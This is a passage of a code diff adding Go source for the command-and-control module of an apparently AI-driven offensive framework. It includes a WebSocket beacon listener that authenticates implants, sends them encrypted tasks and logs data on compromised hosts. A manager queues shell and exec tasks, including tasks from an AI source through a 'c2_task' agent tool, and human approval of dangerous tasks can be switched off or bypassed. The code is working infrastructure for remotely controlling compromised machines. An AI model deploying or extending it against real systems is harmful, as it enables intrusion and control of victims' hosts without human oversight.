return strings.TrimSpace(result)
|
||||
}
|
||||
@@ -0,0 +1,297 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/subtle"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"net/http"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// WebSocketListener 提供低延迟的双向 WebSocket Beacon。
|
||||
// 与 HTTP Beacon 相比:
|
||||
// - beacon 与服务端保持长连接,无需轮询,新任务可"秒到";
|
||||
// - 适合需要交互式快速响应的场景(如实时键盘 / 流式输出);
|
||||
// - 协议依然走 AES-256-GCM,握手时校验 X-Implant-Token;
|
||||
// - 一个 listener 仅处理一个 WS 路径(默认 /ws),但可承载多个并发 implant。
|
||||
//
|
||||
// 帧协议(皆为加密后 base64 字符串走 TextMessage):
|
||||
// client → server:{"type":"checkin"|"result", "data": <ImplantCheckInRequest|TaskResultReport>}
|
||||
// server → client:{"type":"task", "data": <TaskEnvelope>} 或 {"type":"sleep","data":{"sleep":N,"jitter":J}}
|
||||
type WebSocketListener struct {
|
||||
rec *database.C2Listener
|
||||
cfg *ListenerConfig
|
||||
manager *Manager
|
||||
logger *zap.Logger
|
||||
|
||||
srv *http.Server
|
||||
upgrader websocket.Upgrader
|
||||
|
||||
mu sync.Mutex
|
||||
conns map[string]*wsConn // session_id → 连接
|
||||
stopped bool
|
||||
stopCh chan struct{}
|
||||
}
|
||||
|
||||
// wsConn 单个 WS implant 的内存状态
|
||||
type wsConn struct {
|
||||
sessionID string
|
||||
ws *websocket.Conn
|
||||
writeMu sync.Mutex // websocket 同一连接同一时间只能一个 writer
|
||||
}
|
||||
|
||||
// NewWebSocketListener 工厂(注册到 ListenerRegistry["websocket"])
|
||||
func NewWebSocketListener(ctx ListenerCreationCtx) (Listener, error) {
|
||||
return &WebSocketListener{
|
||||
rec: ctx.Listener,
|
||||
cfg: ctx.Config,
|
||||
manager: ctx.Manager,
|
||||
logger: ctx.Logger,
|
||||
stopCh: make(chan struct{}),
|
||||
conns: make(map[string]*wsConn),
|
||||
upgrader: websocket.Upgrader{
|
||||
ReadBufferSize: 4096,
|
||||
WriteBufferSize: 4096,
|
||||
// 允许任意 Origin(implant 不带 Origin 或随便填)
|
||||
CheckOrigin: func(r *http.Request) bool { return true },
|
||||
},
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Type 类型
|
||||
func (l *WebSocketListener) Type() string { return string(ListenerTypeWebSocket) }
|
||||
|
||||
// Start 启动 HTTP server 接收 WS 升级
|
||||
func (l *WebSocketListener) Start() error {
|
||||
mux := http.NewServeMux()
|
||||
wsPath := l.cfg.BeaconCheckInPath
|
||||
if wsPath == "" || wsPath == "/check_in" {
|
||||
// websocket 默认路径单独定义,避免与 HTTP Beacon 默认路径混淆
|
||||
wsPath = "/ws"
|
||||
}
|
||||
mux.HandleFunc(wsPath, l.handleWS)
|
||||
|
||||
addr := fmt.Sprintf("%s:%d", l.rec.BindHost, l.rec.BindPort)
|
||||
ln, err := net.Listen("tcp", addr)
|
||||
if err != nil {
|
||||
if isAddrInUse(err) {
|
||||
return ErrPortInUse
|
||||
}
|
||||
return err
|
||||
}
|
||||
l.srv = &http.Server{
|
||||
Addr: addr,
|
||||
Handler: mux,
|
||||
ReadHeaderTimeout: 15 * time.Second,
|
||||
}
|
||||
go func() {
|
||||
if err := l.srv.Serve(ln); err != nil && !errors.Is(err, http.ErrServerClosed) {
|
||||
l.logger.Warn("websocket Serve exited", zap.Error(err))
|
||||
}
|
||||
}()
|
||||
go l.taskDispatcherLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
// Stop 优雅关闭:通知所有 WS 客户端,关闭 server
|
||||
func (l *WebSocketListener) Stop() error {
|
||||
l.mu.Lock()
|
||||
if l.stopped {
|
||||
l.mu.Unlock()
|
||||
return nil
|
||||
}
|
||||
l.stopped = true
|
||||
close(l.stopCh)
|
||||
conns := make([]*wsConn, 0, len(l.conns))
|
||||
for _, c := range l.conns {
|
||||
conns = append(conns, c)
|
||||
}
|
||||
l.conns = make(map[string]*wsConn)
|
||||
l.mu.Unlock()
|
||||
for _, c := range conns {
|
||||
_ = c.ws.WriteControl(websocket.CloseMessage,
|
||||
websocket.FormatCloseMessage(websocket.CloseGoingAway, "shutdown"),
|
||||
time.Now().Add(time.Second))
|
||||
_ = c.ws.Close()
|
||||
}
|
||||
if l.srv != nil {
|
||||
ctx, cancel := contextWithTimeout(5 * time.Second)
|
||||
defer cancel()
|
||||
_ = l.srv.Shutdown(ctx)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (l *WebSocketListener) handleWS(w http.ResponseWriter, r *http.Request) {
|
||||
got := r.Header.Get("X-Implant-Token")
|
||||
if got == "" || l.rec.ImplantToken == "" ||
|
||||
subtle.ConstantTimeCompare([]byte(got), []byte(l.rec.ImplantToken)) != 1 {
|
||||
http.NotFound(w, r)
|
||||
return
|
||||
}
|
||||
ws, err := l.upgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
l.logger.Warn("websocket 升级失败", zap.Error(err))
|
||||
return
|
||||
}
|
||||
go l.handleConn(ws)
|
||||
}
|
||||
|
||||
// handleConn 处理一个 WS 连接的完整生命周期:等待 checkin → 登记 session → 读循环
|
||||
func (l *WebSocketListener) handleConn(ws *websocket.Conn) {
|
||||
ws.SetReadLimit(64 << 20)
|
||||
ws.SetReadDeadline(time.Now().Add(60 * time.Second))
|
||||
ws.SetPongHandler(func(string) error {
|
||||
ws.SetReadDeadline(time.Now().Add(60 * time.Second))
|
||||
return nil
|
||||
})
|
||||
|
||||
// 第一帧必须是 checkin
|
||||
frameType, body, err := readEncryptedFrame(ws, l.rec.EncryptionKey)
|
||||
if err != nil || frameType != "checkin" {
|
||||
_ = ws.Close()
|
||||
return
|
||||
}
|
||||
var req ImplantCheckInRequest
|
||||
if err := json.Unmarshal(body, &req); err != nil {
|
||||
_ = ws.Close()
|
||||
return
|
||||
}
|
||||
if req.SleepSeconds <= 0 {
|
||||
req.SleepSeconds = l.cfg.DefaultSleep
|
||||
}
|
||||
session, err := l.manager.IngestCheckIn(l.rec.ID, req)
|
||||
if err != nil {
|
||||
_ = ws.Close()
|
||||
return
|
||||
}
|
||||
conn := &wsConn{sessionID: session.ID, ws: ws}
|
||||
l.mu.Lock()
|
||||
l.conns[session.ID] = conn
|
||||
l.mu.Unlock()
|
||||
defer func() {
|
||||
l.mu.Lock()
|
||||
delete(l.conns, session.ID)
|
||||
l.mu.Unlock()
|
||||
_ = ws.Close()
|
||||
_ = l.manager.MarkSessionDead(session.ID)
|
||||
}()
|
||||
|
||||
// 心跳 goroutine
|
||||
pingTicker := time.NewTicker(20 * time.Second)
|
||||
defer pingTicker.Stop()
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case <-l.stopCh:
|
||||
return
|
||||
case <-pingTicker.C:
|
||||
conn.writeMu.Lock()
|
||||
_ = ws.WriteControl(websocket.PingMessage, nil, time.Now().Add(5*time.Second))
|
||||
conn.writeMu.Unlock()
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
// 主读循环:处理 result 等帧
|
||||
for {
|
||||
frameType, body, err := readEncryptedFrame(ws, l.rec.EncryptionKey)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
switch frameType {
|
||||
case "result":
|
||||
var report TaskResultReport
|
||||
if err := json.Unmarshal(body, &report); err == nil {
|
||||
_ = l.manager.IngestTaskResult(report)
|
||||
}
|
||||
case "checkin":
|
||||
// 心跳更新:beacon 周期性送上心跳
|
||||
var hb ImplantCheckInRequest
|
||||
if err := json.Unmarshal(body, &hb); err == nil {
|
||||
_ = l.manager.DB().TouchC2Session(session.ID, string(SessionActive), time.Now())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// taskDispatcherLoop 周期扫描所有活动 WS 会话,下发任务
|
||||
func (l *WebSocketListener) taskDispatcherLoop() {
|
||||
t := time.NewTicker(500 * time.Millisecond)
|
||||
defer t.Stop()
|
||||
for {
|
||||
select {
|
||||
case <-l.stopCh:
|
||||
return
|
||||
case <-t.C:
|
||||
l.mu.Lock()
|
||||
snapshot := make([]*wsConn, 0, len(l.conns))
|
||||
for _, c := range l.conns {
|
||||
snapshot = append(snapshot, c)
|
||||
}
|
||||
l.mu.Unlock()
|
||||
for _, c := range snapshot {
|
||||
envelopes, err := l.manager.PopTasksForBeacon(c.sessionID, 20)
|
||||
if err != nil || len(envelopes) == 0 {
|
||||
continue
|
||||
}
|
||||
for _, env := range envelopes {
|
||||
l.sendTaskFrame(c, env)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (l *WebSocketListener) sendTaskFrame(c *wsConn, env TaskEnvelope) {
|
||||
frame := map[string]interface{}{"type": "task", "data": env}
|
||||
body, err := json.Marshal(frame)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
enc, err := EncryptAESGCM(l.rec.EncryptionKey, body)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
c.writeMu.Lock()
|
||||
defer c.writeMu.Unlock()
|
||||
_ = c.ws.SetWriteDeadline(time.Now().Add(10 * time.Second))
|
||||
_ = c.ws.WriteMessage(websocket.TextMessage, []byte(enc))
|
||||
}
|
||||
|
||||
// readEncryptedFrame 读一帧加密 WS 文本,返回类型和明文 data
|
||||
func readEncryptedFrame(ws *websocket.Conn, key string) (string, []byte, error) {
|
||||
mt, raw, err := ws.ReadMessage()
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
if mt != websocket.TextMessage && mt != websocket.BinaryMessage {
|
||||
return "", nil, errors.New("unexpected ws frame type")
|
||||
}
|
||||
plain, err := DecryptAESGCM(key, string(raw))
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
var env struct {
|
||||
Type string `json:"type"`
|
||||
Data json.RawMessage `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal(plain, &env); err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
return env.Type, env.Data, nil
|
||||
}
|
||||
|
||||
// contextWithTimeout 简单封装,避免 listener 文件之间反复 import context
|
||||
func contextWithTimeout(d time.Duration) (context.Context, context.CancelFunc) {
|
||||
return context.WithTimeout(context.Background(), d)
|
||||
}
|
||||
@@ -0,0 +1,777 @@
|
||||
package c2
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/database"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
// Manager 是 C2 模块对外的统一门面:
|
||||
// - HTTP handler / MCP 工具 / 多代理 / 攻击链记录器 全部通过 Manager 操作 C2,
|
||||
// 不直接接触 listener 实现细节,避免循环依赖;
|
||||
// - 持有数据库句柄 + 事件总线 + 内存中的 listener 实例 map;
|
||||
// - 启动期可调用 RestoreRunningListeners() 把 status=running 的 listener 重新拉起。
|
||||
//
|
||||
// 实例化由 internal/app 负责,注入到全局 App 之后再分别交给 handler / mcp.
|
||||
type Manager struct {
|
||||
db *database.DB
|
||||
logger *zap.Logger
|
||||
bus *EventBus
|
||||
registry *ListenerRegistry
|
||||
|
||||
mu sync.RWMutex
|
||||
runningListeners map[string]Listener // listener_id → 已 Start 的 listener 实例
|
||||
storageDir string // 大结果(截图/下载)落盘根目录
|
||||
|
||||
hitlBridge HITLBridge // 危险任务在 EnqueueTask 时调它发起审批(nil 表示不接 HITL)
|
||||
hitlDangerousGate func(conversationID, mcpToolName string) bool // 与人机协同一致:为 nil 或返回 false 时不走桥
|
||||
hooks Hooks // 扩展挂钩:会话上线 / 任务完成 时通知漏洞库与攻击链
|
||||
}
|
||||
|
||||
// MCPToolC2Task 与 MCP builtin、c2_task 工具名一致,供 HITL 白名单与 Agent 侧对齐。
|
||||
const MCPToolC2Task = "c2_task"
|
||||
|
||||
// HITLBridge 把"危险任务"桥到现有 internal/handler/hitl 审批流的接口。
|
||||
// internal/app 实例化时传入;空实现表示禁用 HITL 拦截(开发期方便)。
|
||||
type HITLBridge interface {
|
||||
// RequestApproval 阻塞等待人工审批;返回 nil 表示批准,error 表示拒绝/超时。
|
||||
// ctx 携带用户/会话信息;危险任务调用时会创建超时 ctx 避免无限挂起。
|
||||
RequestApproval(ctx context.Context, req HITLApprovalRequest) error
|
||||
}
|
||||
|
||||
// HITLApprovalRequest 待审批的 C2 操作描述
|
||||
type HITLApprovalRequest struct {
|
||||
TaskID string
|
||||
SessionID string
|
||||
TaskType string
|
||||
PayloadJSON string
|
||||
ConversationID string
|
||||
Source string
|
||||
Reason string
|
||||
}
|
||||
|
||||
// Hooks 给上层(漏洞管理 / 攻击链)注入回调
|
||||
type Hooks struct {
|
||||
OnSessionFirstSeen func(session *database.C2Session) // 新会话首次上线
|
||||
OnTaskCompleted func(task *database.C2Task, sessionID string) // 任务完成(success/failed)
|
||||
}
|
||||
|
||||
// NewManager 创建 Manager;不会启动任何 listener,请显式调 RestoreRunningListeners
|
||||
func NewManager(db *database.DB, logger *zap.Logger, storageDir string) *Manager {
|
||||
if logger == nil {
|
||||
logger = zap.NewNop()
|
||||
}
|
||||
if storageDir == "" {
|
||||
storageDir = "tmp/c2"
|
||||
}
|
||||
return &Manager{
|
||||
db: db,
|
||||
logger: logger,
|
||||
bus: NewEventBus(),
|
||||
registry: NewListenerRegistry(),
|
||||
runningListeners: make(map[string]Listener),
|
||||
storageDir: storageDir,
|
||||
}
|
||||
}
|
||||
|
||||
// SetHITLBridge 设置危险任务审批桥;nil 表示禁用
|
||||
func (m *Manager) SetHITLBridge(b HITLBridge) {
|
||||
m.mu.Lock()
|
||||
m.hitlBridge = b
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// SetHITLDangerousGate 设置 C2 危险任务是否应走 HITL 桥;须与 Agent 人机协同判定一致(例如 handler.HITLManager.NeedsToolApproval)。
|
||||
// gate 为 nil 时,即使已设置桥也不会对危险任务发起审批(与未开启人机协同时其他工具行为一致)。
|
||||
func (m *Manager) SetHITLDangerousGate(gate func(conversationID, mcpToolName string) bool) {
|
||||
m.mu.Lock()
|
||||
m.hitlDangerousGate = gate
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// SetHooks 注入业务钩子
|
||||
func (m *Manager) SetHooks(h Hooks) {
|
||||
m.mu.Lock()
|
||||
m.hooks = h
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
// EventBus 暴露事件总线给 SSE handler
|
||||
func (m *Manager) EventBus() *EventBus { return m.bus }
|
||||
|
||||
// DB 暴露 DB 句柄给 handler/mcptools 直接读写(避免到处包装)
|
||||
func (m *Manager) DB() *database.DB { return m.db }
|
||||
|
||||
// Logger 暴露日志句柄
|
||||
func (m *Manager) Logger() *zap.Logger { return m.logger }
|
||||
|
||||
// StorageDir 大结果落盘根目录
|
||||
func (m *Manager) StorageDir() string { return m.storageDir }
|
||||
|
||||
// Registry 暴露 listener 注册表,便于在 internal/app 启动时按 type 注册具体实现
|
||||
func (m *Manager) Registry() *ListenerRegistry { return m.registry }
|
||||
|
||||
// Close 优雅关闭:停掉所有运行中的 listener,关闭事件总线
|
||||
func (m *Manager) Close() {
|
||||
m.mu.Lock()
|
||||
listeners := make([]Listener, 0, len(m.runningListeners))
|
||||
for _, l := range m.runningListeners {
|
||||
listeners = append(listeners, l)
|
||||
}
|
||||
m.runningListeners = make(map[string]Listener)
|
||||
m.mu.Unlock()
|
||||
for _, l := range listeners {
|
||||
_ = l.Stop()
|
||||
}
|
||||
m.bus.Close()
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Listener 生命周期
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
// CreateListenerInput Web/MCP 创建监听器的入参(已校验 + 已 trim)
|
||||
type CreateListenerInput struct {
|
||||
Name string
|
||||
Type string
|
||||
BindHost string
|
||||
BindPort int
|
||||
ProfileID string
|
||||
Remark string
|
||||
Config *ListenerConfig
|
||||
// CallbackHost 非空时写入 config_json.callback_host,供 Payload 默认回连(不修改 bind)
|
||||
CallbackHost string
|
||||
}
|
||||
|
||||
// CreateListener 校验并落库;不自动启动(与 systemd unit 一致:先创建后启动)
|
||||
func (m *Manager) CreateListener(in CreateListenerInput) (*database.C2Listener, error) {
|
||||
if strings.TrimSpace(in.Name) == "" {
|
||||
return nil, ErrInvalidInput
|
||||
}
|
||||
if !IsValidListenerType(in.Type) {
|
||||
return nil, ErrUnsupportedType
|
||||
}
|
||||
if err := SafeBindPort(in.BindPort); err != nil {
|
||||
return nil, &CommonError{Code: "invalid_port", Message: err.Error(), HTTP: 400}
|
||||
}
|
||||
bindHost := strings.TrimSpace(in.BindHost)
|
||||
if bindHost == "" {
|
||||
bindHost = "127.0.0.1" // 默认绑定环回,需要外网时操作员显式改
|
||||
}
|
||||
cfg := in.Config
|
||||
if cfg == nil {
|
||||
cfg = &ListenerConfig{}
|
||||
} else {
|
||||
cp := *cfg
|
||||
cfg = &cp
|
||||
}
|
||||
if ch := strings.TrimSpace(in.CallbackHost); ch != "" {
|
||||
cfg.CallbackHost = ch
|
||||
}
|
||||
cfg.ApplyDefaults()
|
||||
cfgJSON, err := json.Marshal(cfg)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("marshal listener config: %w", err)
|
||||
}
|
||||
keyB64, err := GenerateAESKey()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generate key: %w", err)
|
||||
}
|
||||
tokenB64, err := GenerateImplantToken()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generate token: %w", err)
|
||||
}
|
||||
|
||||
listener := &database.C2Listener{
|
||||
ID: "l_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14],
|
||||
Name: strings.TrimSpace(in.Name),
|
||||
Type: strings.ToLower(strings.TrimSpace(in.Type)),
|
||||
BindHost: bindHost,
|
||||
BindPort: in.BindPort,
|
||||
ProfileID: strings.TrimSpace(in.ProfileID),
|
||||
EncryptionKey: keyB64,
|
||||
ImplantToken: tokenB64,
|
||||
Status: "stopped",
|
||||
ConfigJSON: string(cfgJSON),
|
||||
Remark: strings.TrimSpace(in.Remark),
|
||||
CreatedAt: time.Now(),
|
||||
}
|
||||
if err := m.db.CreateC2Listener(listener); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已创建", listener.Name), map[string]interface{}{
|
||||
"listener_id": listener.ID,
|
||||
"type": listener.Type,
|
||||
})
|
||||
return listener, nil
|
||||
}
|
||||
|
||||
// StartListener 启动指定 listener;幂等(已运行时返回 ErrListenerRunning)
|
||||
func (m *Manager) StartListener(id string) (*database.C2Listener, error) {
|
||||
rec, err := m.db.GetC2Listener(id)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if rec == nil {
|
||||
return nil, ErrListenerNotFound
|
||||
}
|
||||
m.mu.Lock()
|
||||
if _, ok := m.runningListeners[id]; ok {
|
||||
m.mu.Unlock()
|
||||
return rec, ErrListenerRunning
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
cfg := &ListenerConfig{}
|
||||
if rec.ConfigJSON != "" {
|
||||
_ = json.Unmarshal([]byte(rec.ConfigJSON), cfg)
|
||||
}
|
||||
cfg.ApplyDefaults()
|
||||
|
||||
// 通过工厂创建具体实现
|
||||
factory := m.registry.Get(rec.Type)
|
||||
if factory == nil {
|
||||
return nil, ErrUnsupportedType
|
||||
}
|
||||
inst, err := factory(ListenerCreationCtx{
|
||||
Listener: rec,
|
||||
Config: cfg,
|
||||
Manager: m,
|
||||
Logger: m.logger.With(zap.String("listener_id", rec.ID), zap.String("type", rec.Type)),
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := inst.Start(); err != nil {
|
||||
now := time.Now()
|
||||
_ = m.db.SetC2ListenerStatus(rec.ID, "error", err.Error(), &now)
|
||||
m.publishEvent("warn", "listener", "", "", fmt.Sprintf("监听器 %s 启动失败: %v", rec.Name, err), map[string]interface{}{
|
||||
"listener_id": rec.ID,
|
||||
})
|
||||
return nil, err
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.runningListeners[rec.ID] = inst
|
||||
m.mu.Unlock()
|
||||
now := time.Now()
|
||||
_ = m.db.SetC2ListenerStatus(rec.ID, "running", "", &now)
|
||||
rec.Status = "running"
|
||||
rec.StartedAt = &now
|
||||
rec.LastError = ""
|
||||
m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已启动", rec.Name), map[string]interface{}{
|
||||
"listener_id": rec.ID,
|
||||
"bind": fmt.Sprintf("%s:%d", rec.BindHost, rec.BindPort),
|
||||
})
|
||||
return rec, nil
|
||||
}
|
||||
|
||||
// StopListener 停止;幂等(未运行时返回 ErrListenerStopped)
|
||||
func (m *Manager) StopListener(id string) error {
|
||||
m.mu.Lock()
|
||||
inst, ok := m.runningListeners[id]
|
||||
if ok {
|
||||
delete(m.runningListeners, id)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
if !ok {
|
||||
return ErrListenerStopped
|
||||
}
|
||||
if err := inst.Stop(); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = m.db.SetC2ListenerStatus(id, "stopped", "", nil)
|
||||
rec, _ := m.db.GetC2Listener(id)
|
||||
name := id
|
||||
if rec != nil {
|
||||
name = rec.Name
|
||||
}
|
||||
m.publishEvent("info", "listener", "", "", fmt.Sprintf("监听器 %s 已停止", name), map[string]interface{}{
|
||||
"listener_id": id,
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteListener 停止并删除(级联 sessions/tasks/files)
|
||||
func (m *Manager) DeleteListener(id string) error {
|
||||
_ = m.StopListener(id)
|
||||
return m.db.DeleteC2Listener(id)
|
||||
}
|
||||
|
||||
// IsListenerRunning 内存中的运行状态(DB 中的 status 可能因崩溃而过时)
|
||||
func (m *Manager) IsListenerRunning(id string) bool {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
_, ok := m.runningListeners[id]
|
||||
return ok
|
||||
}
|
||||
|
||||
// RestoreRunningListeners 启动期把 DB 中 status=running 的 listener 重新拉起;
|
||||
// 失败的会被改为 status=error,不会阻塞整个 App 启动。
|
||||
func (m *Manager) RestoreRunningListeners() {
|
||||
listeners, err := m.db.ListC2Listeners()
|
||||
if err != nil {
|
||||
m.logger.Warn("恢复 C2 listener 失败:列表查询出错", zap.Error(err))
|
||||
return
|
||||
}
|
||||
for _, l := range listeners {
|
||||
if l.Status != "running" {
|
||||
continue
|
||||
}
|
||||
if _, err := m.StartListener(l.ID); err != nil && !errors.Is(err, ErrListenerRunning) {
|
||||
m.logger.Warn("恢复 C2 listener 失败", zap.String("listener_id", l.ID), zap.Error(err))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Session 生命周期
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
// IngestCheckIn beacon 上线/心跳的统一入口。
|
||||
// 行为:
|
||||
// 1. 若 implant_uuid 已有会话 → 更新心跳/状态
|
||||
// 2. 否则创建新会话,触发 OnSessionFirstSeen 钩子
|
||||
func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*database.C2Session, error) {
|
||||
if strings.TrimSpace(req.ImplantUUID) == "" {
|
||||
return nil, ErrInvalidInput
|
||||
}
|
||||
existing, err := m.db.GetC2SessionByImplantUUID(req.ImplantUUID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
now := time.Now()
|
||||
isFirstSeen := existing == nil
|
||||
var sessID string
|
||||
if existing != nil {
|
||||
sessID = existing.ID
|
||||
} else {
|
||||
sessID = "s_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
|
||||
}
|
||||
session := &database.C2Session{
|
||||
ID: sessID,
|
||||
ListenerID: listenerID,
|
||||
ImplantUUID: req.ImplantUUID,
|
||||
Hostname: req.Hostname,
|
||||
Username: req.Username,
|
||||
OS: strings.ToLower(req.OS),
|
||||
Arch: strings.ToLower(req.Arch),
|
||||
PID: req.PID,
|
||||
ProcessName: req.ProcessName,
|
||||
IsAdmin: req.IsAdmin,
|
||||
InternalIP: req.InternalIP,
|
||||
UserAgent: req.UserAgent,
|
||||
SleepSeconds: req.SleepSeconds,
|
||||
JitterPercent: req.JitterPercent,
|
||||
Status: string(SessionActive),
|
||||
FirstSeenAt: now,
|
||||
LastCheckIn: now,
|
||||
Metadata: req.Metadata,
|
||||
}
|
||||
if existing != nil {
|
||||
// 保留原 ID/FirstSeenAt/Note,避免被覆盖
|
||||
session.FirstSeenAt = existing.FirstSeenAt
|
||||
if session.Note == "" {
|
||||
session.Note = existing.Note
|
||||
}
|
||||
}
|
||||
if err := m.db.UpsertC2Session(session); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if isFirstSeen {
|
||||
m.publishEvent("critical", "session", session.ID, "",
|
||||
fmt.Sprintf("新会话上线: %s@%s (%s/%s)", session.Username, session.Hostname, session.OS, session.Arch),
|
||||
map[string]interface{}{
|
||||
"session_id": session.ID,
|
||||
"listener_id": listenerID,
|
||||
"hostname": session.Hostname,
|
||||
"os": session.OS,
|
||||
"arch": session.Arch,
|
||||
"internal_ip": session.InternalIP,
|
||||
})
|
||||
m.mu.RLock()
|
||||
hook := m.hooks.OnSessionFirstSeen
|
||||
m.mu.RUnlock()
|
||||
if hook != nil {
|
||||
go hook(session)
|
||||
}
|
||||
}
|
||||
// 普通心跳:last_check_in 已由 UpsertC2Session 写入 c2_sessions,不再落 c2_events。
|
||||
// 否则按 sleep 周期每条心跳一条审计,库表与 SSE 会被迅速撑爆;上线/掉线等仍照常 publishEvent。
|
||||
return session, nil
|
||||
}
|
||||
|
||||
// MarkSessionDead 心跳超时检测器调用:标记会话为 dead
|
||||
func (m *Manager) MarkSessionDead(sessionID string) error {
|
||||
if err := m.db.SetC2SessionStatus(sessionID, string(SessionDead)); err != nil {
|
||||
return err
|
||||
}
|
||||
m.publishEvent("warn", "session", sessionID, "", "会话已离线(心跳超时)", nil)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ----------------------------------------------------------------------------
|
||||
// Task 生命周期
|
||||
// ----------------------------------------------------------------------------
|
||||
|
||||
// EnqueueTaskInput 下发任务入参
|
||||
type EnqueueTaskInput struct {
|
||||
SessionID string
|
||||
TaskType TaskType
|
||||
Payload map[string]interface{}
|
||||
Source string // manual|ai|batch|api
|
||||
ConversationID string
|
||||
UserCtx context.Context // 给 HITL 用
|
||||
BypassHITL bool // true 表示跳过 HITL 审批(仅供白名单机制 / 系统内部用)
|
||||
}
|
||||
|
||||
// EnqueueTask 入队一个新任务;若任务类型危险且未 BypassHITL,且 SetHITLDangerousGate 对当前会话与 MCPToolC2Task 返回 true,才会调 HITL 桥审批。
|
||||
// 返回任务记录;任务派发由 PopTasksForBeacon 在 beacon 拉任务时完成。
|
||||
func (m *Manager) EnqueueTask(in EnqueueTaskInput) (*database.C2Task, error) {
|
||||
if strings.TrimSpace(in.SessionID) == "" {
|
||||
return nil, ErrInvalidInput
|
||||
}
|
||||
session, err := m.db.GetC2Session(in.SessionID)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if session == nil {
|
||||
return nil, ErrSessionNotFound
|
||||
}
|
||||
if session.Status == string(SessionDead) || session.Status == string(SessionKilled) {
|
||||
return nil, &CommonError{Code: "session_inactive", Message: "会话已离线,无法下发任务", HTTP: 409}
|
||||
}
|
||||
|
||||
// OPSEC: command deny regex enforcement
|
||||
if in.TaskType == TaskTypeExec || in.TaskType == TaskTypeShell {
|
||||
cmd, _ := in.Payload["command"].(string)
|
||||
if cmd != "" {
|
||||
listenerCfg := m.getListenerConfig(session.ListenerID)
|
||||
if listenerCfg != nil {
|
||||
for _, pattern := range listenerCfg.CommandDenyRegex {
|
||||
re, err := regexp.Compile(pattern)
|
||||
if err != nil {
|
||||
m.logger.Warn("invalid command_deny_regex", zap.String("pattern", pattern), zap.Error(err))
|
||||
continue
|
||||
}
|
||||
if re.MatchString(cmd) {
|
||||
return nil, &CommonError{
|
||||
Code: "command_denied",
|
||||
Message: fmt.Sprintf("命令被 OPSEC 规则拒绝 (匹配: %s)", pattern),
|
||||
HTTP: 403,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// OPSEC: max_concurrent_tasks enforcement
|
||||
listenerCfg := m.getListenerConfig(session.ListenerID)
|
||||
if listenerCfg != nil && listenerCfg.MaxConcurrentTasks > 0 {
|
||||
activeTasks, _ := m.db.ListC2Tasks(database.ListC2TasksFilter{
|
||||
SessionID: in.SessionID,
|
||||
Status: string(TaskQueued),
|
||||
})
|
||||
sentTasks, _ := m.db.ListC2Tasks(database.ListC2TasksFilter{
|
||||
SessionID: in.SessionID,
|
||||
Status: string(TaskSent),
|
||||
})
|
||||
concurrent := len(activeTasks) + len(sentTasks)
|
||||
if concurrent >= listenerCfg.MaxConcurrentTasks {
|
||||
return nil, &CommonError{
|
||||
Code: "concurrent_limit",
|
||||
Message: fmt.Sprintf("会话已有 %d 个排队/执行中的任务,超过并发上限 %d", concurrent, listenerCfg.MaxConcurrentTasks),
|
||||
HTTP: 429,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
taskID := "t_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14]
